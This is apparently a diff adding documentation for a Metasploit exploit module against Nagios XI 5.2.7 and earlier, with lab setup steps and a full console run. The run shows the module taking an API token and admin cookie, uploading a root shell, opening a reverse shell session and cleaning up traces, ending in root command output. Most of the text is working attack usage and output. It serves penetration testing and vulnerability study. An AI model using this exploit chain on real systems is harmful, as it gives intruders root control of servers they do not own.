|
| 1 | +## Intro |
| 2 | + |
| 3 | +Nagios XI is the enterprise version of Nagios, the monitoring software we love |
| 4 | +and hate. |
| 5 | + |
| 6 | +> This module exploits an SQL injection, auth bypass, file upload, command |
| 7 | +injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell. |
| 8 | + |
| 9 | +## Setup |
| 10 | + |
| 11 | +**Download the virtual appliance:** |
| 12 | + |
| 13 | +I used the 64-bit OVA [here]. Remove the "-64" in the link to download the |
| 14 | +32-bit OVA. |
| 15 | + |
| 16 | +[here]: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.2.7-64.ova |
| 17 | + |
| 18 | +**Import the OVA:** |
| 19 | + |
| 20 | +Just import it into VMware or VirtualBox. It should create a VM for you. |
| 21 | + |
| 22 | +**Configure the software:** |
| 23 | + |
| 24 | +When you start the VM, you will see ```Access Nagios XI at http://[redacted]``` |
| 25 | +on the login screen. Connect to the URL using your web browser and follow the |
| 26 | +steps on the screen to configure the app. |
| 27 | + |
| 28 | +Configuration is actually not required to exploit the app, but you should do it |
| 29 | +anyway. |
| 30 | + |
| 31 | +## Usage |
| 32 | + |
| 33 | +Just set ```RHOST``` and fire off the module! It's pretty much painless. |
| 34 | +```set VERBOSE true``` if you want to see details. |
| 35 | + |
| 36 | +``` |
| 37 | +msf > use exploit/linux/http/nagios_xi_chained_rce |
| 38 | +msf exploit(nagios_xi_chained_rce) > set rhost [redacted] |
| 39 | +rhost => [redacted] |
| 40 | +msf exploit(nagios_xi_chained_rce) > set verbose true |
| 41 | +verbose => true |
| 42 | +msf exploit(nagios_xi_chained_rce) > run |
| 43 | +
|
| 44 | +[*] Started reverse TCP handler on [redacted]:4444 |
| 45 | +[*] Nagios XI version: 5.2.7 |
| 46 | +[*] Getting API token |
| 47 | +[+] API token: 3o2erpm0 |
| 48 | +[*] Getting admin cookie |
| 49 | +[+] Admin cookie: nagiosxi=jcilcfptj7ogpvovgs3i5gilh7; |
| 50 | +[+] CSRF token: 477abd7db8d06ade9c7fcd9e405fd911 |
| 51 | +[*] Getting monitored host |
| 52 | +[+] Monitored host: localhost |
| 53 | +[*] Downloading component |
| 54 | +[*] Uploading root shell |
| 55 | +[*] Popping shell! |
| 56 | +[*] Command shell session 1 opened ([redacted]:4444 -> [redacted]:60132) at 2016-07-01 00:12:20 -0500 |
| 57 | +[*] Cleaning up... |
| 58 | +[*] rm -rf ../profile |
| 59 | +[*] unzip -qd .. ../../../../tmp/component-profile.zip |
| 60 | +[*] chown -R nagios:nagios ../profile |
| 61 | +[*] rm -f ../../../../tmp/component-xAmhUGRn.zip |
| 62 | +
|
| 63 | +3904334783 |
| 64 | +TwMSxKhKEaxUjlTSNYyeICVUuPSNkwoI |
| 65 | +cKKdfdZxRpDduZCezKXOficrVyNeVggH |
| 66 | +mRVdstQmfdtnFiYMjLgyfvRWXyQZPyUF |
| 67 | +dDlRoqhBvqvwrhKYWumimyKxVHSbrkoE |
| 68 | +wjCWBTgbsQuPemhiByeMpMEhdPooHEvw |
| 69 | +id |
| 70 | +uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) |
| 71 | +uname -a |
| 72 | +Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux |
| 73 | +``` |
0 commit comments